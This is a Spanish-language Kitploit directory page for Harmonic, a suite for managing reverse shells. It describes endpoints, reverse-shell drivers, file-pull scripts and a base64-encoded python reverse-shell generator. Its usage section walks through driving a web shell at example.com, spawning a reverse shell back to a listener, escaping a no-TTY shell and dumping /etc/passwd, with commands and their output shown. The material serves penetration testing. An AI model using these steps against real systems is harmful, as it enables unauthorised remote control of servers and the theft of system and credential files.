Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Harmonic — Suite para el manejo de reverse shells orientada a trabajar dentro del shell nativo | Kitploit
Herramientas/GitLabGitLab/runik/harmonic
Escalada de PrivilegiosScripting y AutomatizaciónExplotación de Aplicaciones WebRecopilación de InformaciónPost-ExplotaciónPruebas de PenetraciónComando y ControlHerramienta de Acceso RemotoGeneración de ShellcodeDesarrollo de Payloads
17hace 8 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitLab
runik/harmonic

Harmonic

Suite para el manejo de reverse shells orientada a trabajar dentro del shell nativo

Ver Repositorio

Harmonic Suite

Comienzo de un conjunto de herramientas linux para gestionar e interactuar con reverse shells (el código todavía está en un estado rápido y sucio, con poco manejo de excepciones). Con una fuerte inspiración en la filosofía UNIX, la idea básica es tener un daemon para manejar endpoints arbitrarios (connd, aunque todavía no es un daemon propiamente dicho, pero puede ejecutarse en una terminal separada) y ejecutar herramientas contra esos endpoints.

Los endpoints están 'impulsados' por un script o un proceso y se exponen como archivos en el sistema de archivos, y luego se puede usar un cliente de software ligero para interactuar con ellos, pero también se pueden escribir y leer fácilmente usando comandos de shell. De hecho, poder ejecutar los scripts de forma independiente desde el shell es un factor de diseño clave, donde idealmente, como máximo, un script dependerá de que exista un endpoint, pero también se pueden usar en combinación (en cascada unos con otros).

Las opciones actuales de endpoints son:

  • nc - Genera un endpoint netcat en un puerto específico
  • wsh - Un shell contextual utilizado para interactuar con un script básico de web shell
  • with - Ejecuta un proceso arbitrario como endpoint

El cliente de software ligero (hthinc.py) proporciona una interfaz básica con el endpoint del sistema, así como la ejecución rápida de scripts contra el sistema. Se han escrito varios scripts básicos pero útiles:

  • sp - ejecuta una enumeración contra un sistema linux remoto, determina los lenguajes de scripting (actualmente solo python), iniciará un nuevo endpoint y generará un shell interactivo a través del endpoint actual para conectarse al nuevo endpoint. Si se especifica un driver, omitirá la enumeración e intentará usar el driver
  • lpc - Ejecuta el script Linux Priv Escalation Checker contra el sistema a través del endpoint
  • log - Registra la salida de un comando en el directorio de trabajo actual
  • mac - Ejecuta una macro predefinida contra el endpoint (según lo definido en la sección de macros de $HCROOT/.hcrc
  • pull - Un script macro para wget que descargará archivos desde un portal dispatch (linux)
  • fpull - Un script macro para fetch que descargará archivos desde un portal dispatch (*bsd)
  • wpinit - Enumera los motores de scripting de windows (actualmente solo VB) y genera un script de portal de archivos para usar con wpull
  • vbpull - Un script macro para el script portal.vbs (ver: wpinit) para extraer archivos desde un portal dispatch (windows)
  • pspull - Un script macro para usar PowerShell y extraer un archivo desde un portal dispatch (windows)

Los tipos de drivers de reverse shell (es decir, lo que impulsa el shell en el sistema remoto) son los siguientes (actualmente con soporte para linux):

  • php
  • perl
  • fifo
  • python27
  • python3x

Otros scripts:

  • hgenrsh.py - genera un comando python de reverse shell (comprimido y codificado en base64) que puede desprenderse del proceso en ejecución
  • hcmd.py - ejecuta un comando desde el entorno local
  • hscr.py - ejecuta un script enganchable
  • hdis.py - escucha una conexión y envía datos arbitrarios al cliente desde stdin
  • sys/bin/hpd.py - Servidor de portal dispatch para extraer archivos usando el protocolo HTTP

Ejemplo de uso

  • Para el ejemplo, $HCROOT apunta al directorio de este repositorio (ver configuración al final)
  • connd se está ejecutando como un daemon o como proceso normal.
    • Puede ejecutarse desde $HCROOT/sys/bin/connd (primero debe compilarse)

Indícale a connd que inicie un endpoint, usando un driver de wedge shell contra el script php proporcionado, que realiza llamadas al sistema con respuesta formateada. Sin embargo, este script de una sola línea podría haber sido inyectado como código en un registro del servidor con la misma facilidad.

$ hconnd.py start wsh http://example.com/hwsh.php
1

Esto ha creado el endpoint 1 (dos tuberías de E/S -- puedes verlas como t1i y t1o en el subdirectorio run). Así que ahora usamos hthinc.py para interactuar con el shell.

$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

Sabemos que es una máquina Linux. Queremos alejarnos de una web shell atascada y obtener un shell adecuado. Ejecutar el comando incorporado !help proporciona el mensaje de ayuda de thinc. Podemos ejecutar un script sp que automáticamente ejecutará comandos contra el sistema remoto, enumerando el entorno, iniciará un endpoint nc, generará una reverse shell y entrará automáticamente a través de una nueva instancia de hthinc.py:

runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

O si sabemos que estamos usando (por ejemplo) PHP como driver, podemos especificarlo:

runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Y digamos que tenemos un shell sin TTY o queremos escapar, podemos ejecutar una de las macros predeterminadas:

$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

Además, si queremos registrar la salida de un comando, podemos usar el script log, que la guardará en el directorio de trabajo actual:

$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

Mientras los endpoints están en ejecución, puedes conectar/desconectar clientes, ya que los procesos de conexión son gestionados por el daemon

Repetición rápida

Debido a que todo puede ejecutarse de una manera más unixy, podemos repetir procesos rápidamente desde el shell. Iniciamos un endpoint de webshell, obtenemos el ID del endpoint y luego, desde el shell, ejecutamos el script generador sp.py contra el endpoint (es el mismo script que se usa en hthinc.py pero con un punto de entrada diferente).

$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

o como una línea:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

y automatizar fácilmente:

$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

Ejecutar un comando desde tu entorno local

La herramienta hcmd.py te permite ejecutar rápidamente un comando a través de un endpoint desde tu shell

$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

y canalizar o redirigir los resultados como de costumbre

Descargar herramienta